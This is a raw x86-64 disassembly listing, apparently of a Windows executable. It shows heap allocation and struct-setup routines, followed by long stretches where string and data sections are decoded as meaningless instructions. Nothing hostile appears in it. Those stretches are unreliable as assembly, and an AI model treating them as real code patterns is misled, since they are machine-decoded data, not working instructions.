movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14009e842
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009eb0d
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov qword [rsp + 0x30], rax
test rax, rax
test eax, eax
je 0x14009eb0d
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14009e887
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009eada
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009eada
mov rdx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x59], xmm0
movaps xmmword [rsp + 0x50], xmm0
xor r8d, r8d
movups xmm0, xmmword [rsp + 0x59]
movups xmmword [rsp + 0x79], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x70], xmm0
cmp byte [rbx + 9], 0
je 0x14009e9f4
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x2c], r8d
mov qword [rsp + 0x48], rdx
call fcn.140092e30
mov qword [rsp + 0x40], rax
mov ebx, edx
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14009e911
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009eaeb
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x1860
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009eaeb
mov r12, rax
xor ebp, ebp
mov r8d, 0x810
mov rcx, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x810], 1
lea rcx, [r12 + 0x818]
mov r8d, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0xc20], 2
and al, 0x20
or al, 0
add byte [rdx], al
add byte [rax], al
add byte [rax], al
and al, 0x20
or al, 0
add byte [rdx], al
add byte [rax], al
add byte [rax], al
lea rcx, [r12 + 0xc28]
mov r8d, 0x408
xor edx, edx
invalid
jl 0x14009e97e
invalid
add byte [rcx - 0x39], cl
test byte [rax + rsi], ah
adc byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rcx - 0x73], cl
mov word [rax + rdi], fs
adc byte [rax], al
add byte [rcx - 0x48], al
or byte [rax + rax], al
add byte [rcx], dh
shr al, cl
jl 0x14009e99f
add byte [rcx - 0x39], cl
test byte [rax + rax*2], ah
adc al, 0
add byte [rax + rax], al
add byte [rax], al
mov ebp, 1
mov ebx, 0x3b9aca00
and al, 0x3c
ud2
mov ecx, 8
mov edx, 0x80
call fcn.1400a9bd0
out 0xb0, eax
add byte [rax], al
out 0xb0, eax
add byte [rax], al
ud2
mov ecx, 8
mov edx, 0x1860
call fcn.1400a9bd0
ud2
mov ecx, 8
mov rdx, r12
call fcn.1400a9bd0
ud2
add byte [rax], al
mov edx, 0x28
call fcn.1400a9bd0
ud2
call fcn.1400401e0
ud2
test rax, rax
je 0x14009ee2c
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x40
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009ee2c
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x30], 0
mov byte [rax + 0x38], 0
lock inc qword [rax]
jle 0x14009ee28
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14009ebf7
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009ee3d
mov rcx, rax
mov qword [0x1400f91f8], rax
xor esi, esi
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009ee3d
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdi
mov eax, dword [rbx + 0x30]
mov r15d, 0xa
cmp eax, 0x3b9aca00
je 0x14009ec3c
mov r15, qword [rbx + 0x28]
mov esi, eax
mov dword [rsp + 0x2c], esi
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xf8], 0
jne 0x14009ec62
call fcn.140097850
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0x100]
inc qword [rax + 0x100]
mov rsi, qword [rbx + 0x38]
mov r13, qword [rbx + 0x40]
lock inc qword [rsi]
jle 0x14009ee28
movups xmm7, xmmword [rbx + 0x10]
mov r12, qword [rbx + 0x58]
test r12, r12
mov qword [rsp + 0x38], rbp
je 0x14009ece8
mov rax, qword [rbx + 0x60]
mov qword [rsp + 0x30], rax
lock inc qword [r12]
jle 0x14009ee28
mov rbp, qword [rbx + 0x68]
test rbp, rbp
je 0x14009ecf1
mov rbx, qword [rbx + 0x70]
lock inc qword [rbp]
jle 0x14009ee28
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14009ed1d
jmp 0x14009ed04
mov rbp, qword [rbx + 0x68]
test rbp, rbp
jne 0x14009ecc4
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14009ed1d
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14009ee4e
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x110
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14009ee4e
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], r15
mov ecx, dword [rsp + 0x2c]
mov dword [rax + 0x28], ecx
mov qword [rax + 0x30], rsi
mov qword [rax + 0x38], r13
mov byte [rax + 0x40], 0
mov qword [rax + 0x48], 8
xorps xmm0, xmm0
movups xmmword [rax + 0x50], xmm0
mov qword [rax + 0x60], 0
movups xmm1, xmmword [0x1400eb8b0]
movups xmmword [rax + 0x68], xmm1
movups xmm1, xmmword [0x1400eb8c0]
movups xmmword [rax + 0x78], xmm1
movups xmmword [rax + 0x88], xmm6
mov qword [rax + 0x98], r14
mov qword [rax + 0xa0], 0
mov qword [rax + 0xb8], 0
mov dword [rax + 0xc0], 0
mov byte [rax + 0xc4], 0
mov qword [rax + 0xc8], 0
mov qword [rax + 0xd0], r12
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0xd8], rcx
mov qword [rax + 0xe0], rbp
mov qword [rax + 0xe8], rbx
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0xf0], rcx
movups xmmword [rax + 0xf8], xmm0
mov qword [rax + 0x108], 0
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0x40]
movaps xmm7, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
mov ecx, 8
mov edx, 0x40
call fcn.1400a9bd0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.1400a9bd0
ud2
mov ecx, 8
mov edx, 0x110
call fcn.1400a9bd0
ud2
je 0x1400e02ee
invalid
jb 0x1400e0314
outsb dx, byte [rsi]
outsd dx, dword [rsi]
cmp ah, byte [rax]
imul esp, dword fs:[rax + riz + 0x6e], 0x7220746f
je 0x1400e0327
jb 0x1400e0322
and byte [rcx + 0x20], ah
jo 0x1400e0328
jae case.0x14004b0fb.61
je 0x1400e0326
jbe case.0x14004b0fb.61
and byte [rsi + 0x61], dh
insb byte [rdi], dx
jne 0x1400e032a
push rbx
invalid
imul esp, dword [rax], 0x66
invalid
push rdx
je 0x1400e0366
outsb dx, byte gs:[rsi]
push rdx
invalid
jne 0x1400e0385
invalid
jb 0x1400e0389
push rdx
push rdx
push rdx
cmp r12b, byte [rax]
cmp r12b, byte [rax]
cmp ah, byte [rax]
invalid
push rdx
push rdx
cmp r12b, byte [rax]
imul ebp, dword [rsi + 0x73], 0x63757274
je 0x1400e03cd
outsd dx, dword [rsi]
outsb dx, byte [rsi]
and byte [rsi + 0x6f], ch
je 0x1400e038b
jae 0x1400e03e2
jo 0x1400e03df
outsd dx, dword [rsi]
jb 0x1400e03e6
push rdi
push rdi
invalid
and byte [rbp + 0x6e], dh
invalid
jbe 0x1400e03ec
imul ebp, dword [rcx + riz*2 + 0x62], 0x6143656c
insb byte [rdi], dx
insb byte [rdi], dx
imul ebp, dword [rsi + 0x67], 0x62655720
and byte [rcx + 0x50], al
and byte [r11 + 0x72], spl
jns 0x1400e0415
invalid
je 0x1400e0416
je 0x1400e03fe
invalid
jb 0x1400e0421
outsb dx, byte [rsi]
push rbx
invalid
outsd dx, dword [rsi]
jb 0x1400e043b
jae 0x1400e03f2
push rdx
and byte [r13 + 0x6f], r13b
jne 0x1400e0447
and byte gs:[rcx + 0x73], ch
and byte [rsi + 0x6f], ch
je 0x1400e0404
imul ebp, dword [rsi + 0x69], 0x6c616974
imul edi, dword [rdx + 0x65], 0x646f4e64
outsd dx, dword [rsi]
invalid
imul esi, dword [rcx + rbp*2 + 0x61], 0x657a696c
jp 0x1400e0453
outsd dx, dword fs:[rsi]
outsd dx, dword [rsi]
push 0x73
push 0x73
and byte [rbx + 0x72], ah
jns 0x1400e046b
je 0x1400e046c
and byte [rbx + 0x6f], al
outsd dx, dword [rsi]
insd dword [rdi], dx
insd dword [rdi], dx
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rbx
and byte [rbp + 0x6f], ch
jne 0x1400e0478
and byte gs:[rcx + 0x73], ch
and byte [rbp + 0x6e], dh
invalid
invalid
imul ebp, dword [rcx + riz*2 + 0x62], 0x6143656c
insb byte [rdi], dx
insb byte [rdi], dx
imul ebp, dword [rsi + 0x67], 0x646f4e20
push 0x73
invalid
outsb dx, byte [rsi]
and byte [esi + 0x6f], cl
push 0x73
and byte [rcx + 0x50], al
and byte [r11 + 0x72], spl
jns 0x1400e04a4
je 0x1400e04a5
jb 0x1400e049a
outsd dx, dword [rsi]
insd dword [rdi], dx
imul r13d, dword [rsp + r13*2 + 0x53], 0x20636e79
invalid
invalid
outsd dx, dword [rsi]
push 0x73
and byte [rbp + 0x53], al
and byte [rbp + 0x6f], ch
jne 0x1400e04c8
jae 0x1400e047f
invalid
invalid
je 0x1400e04da
jns 0x1400e0490
sub al, 0x20
jae 0x1400e04e2
push 0x73707474
cmp ch, byte [rdi]
invalid
outsd dx, dword [rsi]
jne 0x1400e0514
sub eax, 0x70707573
outsd dx, dword [rsi]
jb 0x1400e0525
invalid
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x1400e0545
add byte [rax], al
add byte [rax], al
mov cl, 4
invalid
insb byte [rdi], dx
push rax
push rax
push rax
outsb dx, byte gs:[rsi]
imul ebp, dword fs:[rsi + 0x67], 0x636e6143
invalid
invalid
outsb dx, byte [rsi]
invalid
insb byte [rdi], dx
insb byte [rdi], dx
imul ebp, dword fs:[rdi + 0x73], 0x6c6f7062
insb byte [rdi], dx
pop rdi
imul ebp, dword [rsi + 0x66], 0x6466616f
invalid
invalid
insd dword [rdi], dx
jo 0x1400e31d0
jns 0x1400e31a7
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1400e31c2
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x69], 0x50746967
outsd dx, dword [rsi]
jae 0x1400e31bc
jbe 0x1400e31d4
jb 0x1400e31d7
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x1400e31c3
jbe 0x1400e31df
jb 0x1400e31e2
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x1400e31da
jb 0x1400e31f2
push rax
invalid
add al, ah
sub eax, dword [rdi]
add dword [rax], eax
add byte [rax], al
and byte [rdi + rax], ch
add dword [rax], eax
add byte [rax], al
and byte [0x1400f71c5], ch
add dword [rax], eax
add byte [rax], al
invalid
jne 0x1400e3237
jae 0x1400e3239
je 0x1400e31f5
invalid
jo 0x1400e323d
pop rsp
jb 0x1400e3242
jae 0x1400e3243
invalid
sub eax, 0x616d6564
outsb dx, byte [rsi]
insb byte [edi], dx
invalid
insb byte [rdi], dx
sub eax, 0x2e312e30
xor byte [rsi], ch
xor dword [rsi], ebp
xor dh, byte [rbx]
pop rsp
jae 0x1400e3255
xor ebx, dword [rbx + rsi*2 + 0x72]
jb 0x1400e3247
invalid
pop rsp
insb byte [rdi], dx
invalid
invalid
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [0x14b0e3205], bh
add byte [rax], al
add al, al
xor dword [rsi], ecx
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], bh
add byte [rax], al
add byte [rbx], cl
add byte [rax], al
add al, al
xor dword [rsi], ecx
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], dh
add byte [rax], al
add byte [rbx], cl
add byte [rax], al
add al, al
xor dword [rsi], ecx
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rax], bl
add byte [rax], al
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
sbb al, 0
add byte [rax], al
sal byte [rcx], 0xe
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], ch
add byte [rax], al
invalid
outsd dx, dword [rsi]
je 0x1400e9bf2
outsd dx, dword [rsi]
jne 0x1400e9c1d
push rax
push rax
jb 0x1400e9c21
imul esi, dword [rbx + 0x73], 0x446e6f69
outsb dx, byte gs:[rsi]
imul esp, dword [rbp + 0x64], 0x6e6e6f43
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
jae 0x1400e9c58
push rbp
outsb dx, byte [rsi]
jb 0x1400e9c4d
invalid
je 0x1400e9c6a
ja case.0x14007d3cb.14
outsd dx, dword [rsi]
jb 0x1400e9c61
push rbp
outsb dx, byte [rsi]
jb 0x1400e9c5f
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
je case.0x14007d3cb.13
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
jb 0x1400e9c6c
jb 0x1400e9c6c
jb 0x1400e9c6c
outsb dx, byte [rsi]
push rbp
jae 0x1400e9c8c
jb 0x1400e9c7a
outsd dx, dword [rsi]
je case.0x14007d3cb.15
jbe 0x1400e9c92
imul ebp, dword [rcx + riz*2 + 0x62], 0x654e656c
je 0x1400e9cb2
je 0x1400e9cb2
outsd dx, dword [rsi]
jb 0x1400e9ca9
outsd dx, dword [rsi]
ja 0x1400e9cb0
jb 0x1400e9cb4
imul esp, dword [rbp + 0x6e], 0x50
imul esi, dword [rax + 0x65], 0x65726c41
insb byte [rdi], dx
jb 0x1400e9cb5
insb byte [rdi], dx
insb byte [rdi], dx
jb 0x1400e9cb5
invalid
jae 0x1400e9cb1
push rdi
outsd dx, dword [rsi]
jne 0x1400e9cc9
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
outsd dx, dword [rsi]
je 0x1400e9ca8
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x1400e9cba
invalid
invalid
je 0x1400e9cdd
jb 0x1400e9ce9
jae 0x1400e9cb4
jae 0x1400e9cb4
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x1400e9cc1
invalid
jb 0x1400e9cf5
imul r14d, dword [rdx + 0x65], 0x726f7463
imul esi, dword [rdx + 0x65], 0x726f7463
jns 0x1400e9cd4
outsd dx, dword [rsi]
je 0x1400e9cce
insd dword [rdi], dx
jo 0x1400e9d00
jns 0x1400e9ce0
push rdx
invalid
outsb dx, byte [rsi]
insb byte [rdi], dx
jns 0x1400e9cdc
imul ebp, dword [rbp + riz*2 + 0x73], 0x65747379
insd dword [rdi], dx
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jo case.0x14007d3cb.26
push rbx
push rbx
je 0x1400e9d11
insb byte [rdi], dx
je 0x1400e9d2d
je 0x1400e9d2d
je 0x1400e9d2d
ja 0x1400e9d26
outsd dx, dword [rsi]
jb case.0x14007d3cb.28
imul r13d, dword [rbp + r12*2 + 0x48], 0x6c646e61
imul ebp, dword [rbp + riz*2 + 0x48], 0x6c646e61
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
jbe 0x1400e9d28
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x6e], 0x49747570
invalid
outsb dx, byte fs:[rsi]
jo 0x1400e9d43
je 0x1400e9d19
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1400e9d34
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x61], 0x69546174
push rsp
imul ebp, dword [rbp + 0x65], 0x74754f64
insd dword [rdi], dx
jne 0x1400e9d56
push rdi
jb 0x1400e9d4e
je 0x1400e9d4c
pop rdx
jb 0x1400e9d5a
jb 0x1400e9d5a
push rbx
je 0x1400e9d5d
jb 0x1400e9d51
jne 0x1400e9d61
insb byte [rdi], dx
outsd dx, dword [rsi]
je 0x1400e9d4d
imul r13d, dword gs:[rbp + r12*2 + 0x73], 0x65747379
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
push rcx
jne 0x1400e9d7d
je 0x1400e9d71
js 0x1400e9d76
js 0x1400e9d76
imul r13d, dword fs:[rbp + r12*2 + 0x54], 0x614c6f6f
imul r13d, dword [rbp + r12*2 + 0x54], 0x614c6f6f
imul ebp, dword [rbp + riz*2 + 0x54], 0x614c6f6f
jb 0x1400e9d8a
push rdx
push rdx
jae 0x1400e9d97
jae 0x1400e9d97
jne case.0x14007d3cb.37
jne 0x1400e9da2
jns 0x1400e9d76
js 0x1400e9d98
js 0x1400e9d98
invalid
jne 0x1400e9daa
invalid
invalid
jb 0x1400e9dbc
outsd dx, dword [rsi]
jae 0x1400e9dc2
jae 0x1400e9db5
jae 0x1400e9d96
jae 0x1400e9d96
jbe 0x1400e9dbe
jbe 0x1400e9dbe
invalid
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
invalid
outsb dx, byte [rsi]
jns 0x1400e9dac
imul ebp, dword [rsi + 0x6b], 0x766e4973
invalid
outsb dx, byte [rsi]
imul esi, dword [rbx + 0x49], 0x6e
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1400e9dc9
insb byte [rdi], dx
imul esp, dword [rsi + rax*2 + 0x69], 0x616e656c
insd dword [rdi], dx
jb 0x1400e9ddd
jb 0x1400e9ddd
jb 0x1400e9ddd
jne 0x1400e9de5
outsb dx, byte gs:[rsi]
je 0x1400e9dc8
imul esi, dword [rbx + 0x74], 0x4c6f6f54
outsd dx, dword [rsi]
jae 0x1400e9df3
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [esi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
je 0x1400e9def
jb 0x1400e9dfe
jne 0x1400e9dfe
je 0x1400e9df5
push rbp
outsb dx, byte [rsi]
jae 0x1400e9e0a
jo 0x1400e9e07
jo 0x1400e9e07
outsd dx, dword [rsi]
jb 0x1400e9e0e
push rbp
outsb dx, byte [rsi]
js 0x1400e9e11
invalid
invalid
jne 0x1400e9e20
insw word [rdi], dx
outsd dx, dword [rsi]
jb 0x1400e9e2d
je 0x1400e9e1f
je 0x1400e9e1f
jb 0x1400e9e0f
push rbp
outsb dx, byte [rsi]
invalid
invalid
outsd dx, dword gs:[esi]
jb 0x1400e9e2c
imul edi, dword [rdx + 0x65], 0x69706164
imul ebp, dword [0x1b73c113f], 0x632d6e69
outsd dx, dword [rsi]
jb 0x1400e9e3a
sub eax, 0x772d736d
imul ebp, dword [rsi + 0x2d], 0x65726f63
sub eax, 0x636e7973
push 0x2d316c2d
xor ch, byte [0x1a1659e15]
push rdi
invalid
xor dword [0x1403ecb15], ebp
push rdi
invalid
imul esi, dword [rdi + rcx*2 + 0x6e], 0x72646441
jae 0x1400e9e63
jae str.WakeByAddressSingle
add byte [rdi + 0x61], dl
push rdi
invalid
push rdi
invalid
imul esp, dword [rbp + 0x42], 0x79
jb 0x1400e9e61
jae 0x1400e9e71
push rbx
imul ebp, dword [rsi + 0x67], 0x6c00656c
insb byte [rdi], dx
imul esp, dword [rdx + 0x72], 0x5c797261
invalid
jb 0x1400e9e85
pop rsp
jae 0x1400e9e83
pop rsp
jae 0x1400e9e85
jae 0x1400e9e7d
pop rsp
invalid
js 0x1400e9e94
outsb dx, byte gs:[rsi]
and byte fs:[rdi + 0x69], dh
je 0x1400e9ed1
and byte [rax + 0x5c], ah
invalid
sahf
invalid
add byte [rax], al
add byte [rax + rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
or dword [rax], esp
sub byte es:[rcx], ch
add byte [rax], al
add byte [rax], al
add byte [rcx], cl
or dword [rax], esp
sub byte es:[rcx], ch
pop rbx
pop rbp
jnp 0x1400e9f0e
pop rsi
cmp eax, 0x2b27213b
sub al, 0x60
jle 0x1400e9ec0
jl 0x1400e9ed9
add byte ds:[rax], al
add eax, 0x1400e9e
add byte [rax], al
add byte [rbx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 1], bl
add byte [rax], al
sub al, byte [rax]
add byte [rax], al
add eax, 0x1400e9e
add byte [rax], al
add byte [rbx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rax], ch
and eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
insb byte [rdi], dx
add dword [rax], eax
add byte [rdx], ch
add byte [rax], al
add byte [rbx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x69], al
invalid
invalid
insb byte [rdi], dx
jo 0x1400e9f47
je 0x1400e9f50
je 0x1400e9f79
outsd dx, dword [rsi]
outsb dx, byte [rsi]
and byte [rsi + 0x61], ah
imul ebp, dword [rbp + riz*2 + 0x64], 0x206f7420
invalid
add byte [rsi], cl
add byte [rax + r8 + 0x44], r10b
add byte [rax + rax + 0x4c], cl
add byte [rsi], ch
add byte [rax + rax + 0x4c], al
add byte [rax + rax], cl
add byte [rdi + 0x53], cl
push r11
and byte [rbp + 0x72], al
jb 0x1400e9fd2
je 0x1400e9ff1
jb 0x1400e9fec
and byte fs:[rbp + 0x72], ah
jb 0x1400e9ff4
jb 0x1400e9fa7
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
add byte es:[rax], al
add byte [rax], ah
and byte [rax], ch
outsd dx, dword [rsi]
jb 0x1400ea06b
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x2e000000], bl
add byte [rax], al
add byte [rax + 0x1400e9f], bh
add byte [rax], al
add byte [rcx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x22000000], bl
add byte [rax], al
add byte [rsi + 0x61], ah
invalid
invalid
imul ebp, dword [rbp + rsi*2 + 0x72], 0x65672065
je 0x1400ea110
imul ebp, dword [rsi + 0x67], 0x766e6520
and byte [rbx + 0x74], dh
jb 0x1400ea111
and eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [r8], r8b
add byte [rax + rax], dl
add byte [rax], al
loopne 0x1400ea0c2
add byte [rax], al
add byte [rsi + 0x1400e], bh
add byte [rax], al
imul eax, dword [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
add byte [rax], al
sbb al, 0
add byte [rax], al
imul ebp, dword [rsi + 0x63], 0x69736e6f
jae 0x1400ebf35
outsb dx, byte gs:[rsi]
je 0x1400ebee5
jo 0x1400ebf28
jb 0x1400ebf34
pop rdi
je 0x1400ebf35
insd dword [rdi], dx
outsd dx, dword gs:[rsi]
jne 0x1400ebf45
and byte [rbx + 0x74], dh
invalid
add byte [rax], al
add byte [rcx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov esi, 0x1400e
add byte [rax], al
imul eax, dword [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x12000000], ch
add byte [rax], al
add byte [rcx + 0x6e], ch
invalid
outsb dx, byte [rsi]
invalid
and byte [rcx + 0x63], ah
je 0x1400ebfa2
invalid
add byte [rax], al
add byte [rax], al
or byte [rdi + 0x1400e], bh
add byte [rax], al
add byte [rax], cl
mov edi, 0x1400e
add byte [rax], al
sub al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x1400e], bh
add byte [rax], al
add byte [rax], al
mov esi, 0x1400e
add byte [rax], al
imul eax, dword [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x1c000000], bl
add byte [rax], al
add byte [rcx + 0x6e], ch
invalid
outsb dx, byte [rsi]
invalid
add byte [rax], al
adc al, byte [rax]
add byte [rax], al
add byte [rsi + 0x1400e], bh
add byte [rax], al
imul eax, dword [rax], 0
add byte [rax], al
add byte [rax], al
add bh, bh
add byte [rax], al
add byte [rsi], cl
add byte [rax], al
add byte [rax], ah
stosd dword [rdi], eax
or dword [rax + 1], eax
add byte [rax], al
add byte [rax - 0x55], al
or dword [rax + 1], eax
add byte [rax], al
add byte [rax], ah
lodsb al, byte [rsi]
or dword [rax + 1], eax
add byte [rax], al
add al, ah
lodsb al, byte [rsi]
or dword [rax + 1], eax
add byte [rax], al
add byte [rbx + 0x3a], al
cmp bl, byte [r13 + r10*2 + 0x73]
invalid
jb 0x1400ec05b
pop rsp
ja 0x1400ec054
insb byte [rdi], dx
insb byte [rdi], dx
imul esp, dword [rcx + 0x6d], 0x696e6163
outsb dx, byte [rsi]
pop rsp
invalid
sub eax, 0x37316636
xor dh, byte fs:[rdx]
invalid
pop rsp
invalid
jb 0x1400ec0c9
add byte [rax], al
loopne 0x1400ec019
invalid
add dword [rax], eax
add byte [rax], al
jbe 0x1400ec062
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub dword [rax], eax
add byte [rax], al
xor eax, 0x72000000
jb 0x1400ec0d7
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add al, ah
mov edi, 0x1400e
add byte [rax], al
jbe 0x1400ec0da
add byte [rax], al
add byte [rax], al
add byte [rax], al
pop rbp
add byte [rax], al
add byte [rcx], ah
add byte [rax], al
add byte [rax + 0x45], ah
invalid
outsb dx, byte [rsi]
je 0x1400ec152
jb 0x1400ec136
jne 0x1400ec152
jb 0x1400ec157
invalid
invalid
jo 0x1400ec1c4
and byte fs:[rcx + 0x6e], ch
and byte [rax + rbp*2 + 0x65], dh
and byte [rdx + 0x65], dh
imul ebp, dword [rsi + 0x20], 0x20656874
jb 0x1400ec1c5
jbe 0x1400ec1c7
jb 0x1400ec1d7
and byte gs:[rdi + 0x72], ch
jb 0x1400ec18c
invalid
add dword [rax], eax
add byte [rax], al
invalid
insd dword [rdi], dx
and byte gs:[rsi + 0x72], ah
outsd dx, dword [rsi]
jb 0x1400ec239
insd dword [rdi], dx
and byte [rdi + 0x69], dh
je 0x1400ec238
imul ebp, dword [rsi + 0x20], 0x75722061
outsb dx, byte [rsi]
je 0x1400ec243
insd dword [rdi], dx
and byte cs:[rax + rbp*2 + 0x69], dl
jae 0x1400ec203
push 0x65707061
outsb dx, byte [rsi]
jae 0x1400ec20b
invalid
and byte [rax + 0x62], ah
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
invalid
imul ebp, dword [rbp + riz*2 + 0x20], 0x20656874
je 0x1400ec2aa
insb byte [rdi], dx
and byte gs:[rax + rbp*2 + 0x65], dh
and byte [rax + rbp*2 + 0x72], dh
jb 0x1400ec2a9
invalid
invalid
imul esi, dword cs:[rbx + 0x5f], 0x65746e65
imul esi, dword [rbx + 0x5f], 0x65746e65
jb 0x1400ec318
sub byte fs:[rcx], ch
cmp bl, byte [r13 + r10*2 + 0x73]
jb 0x1400ec331
pop rsp
ja 0x1400ec32a
insb byte [rdi], dx
insb byte [rdi], dx
imul esp, dword [rcx + 0x6d], 0x696e6163
outsb dx, byte [rsi]
pop rsp
invalid
pop rsp
invalid
jb 0x1400ec39f
add byte [rax], al
add byte [rax], al
mov dh, 0xc2
invalid
ret 0x400e
jb 0x1400ec3c3
je 0x1400ec414
and byte [rbp + 0x6e], ah
invalid
and byte [rdi + 0x61], dh
jae 0x1400ec3e8
outsw dx, word [rsi]
jne 0x1400ec43a
sub al, 0x20
invalid
invalid
and byte [rbp + 0x6e], ah
invalid
je 0x1400ec4a4
and byte gs:[rbx + 0x6f], al
jb 0x1400ec4a7
and byte [rdx + 0x61], ah
invalid
xor dword [rdi], esi
xor dh, byte fs:[rdx]
xor dh, byte [rdx]
invalid
add dword [rax], eax
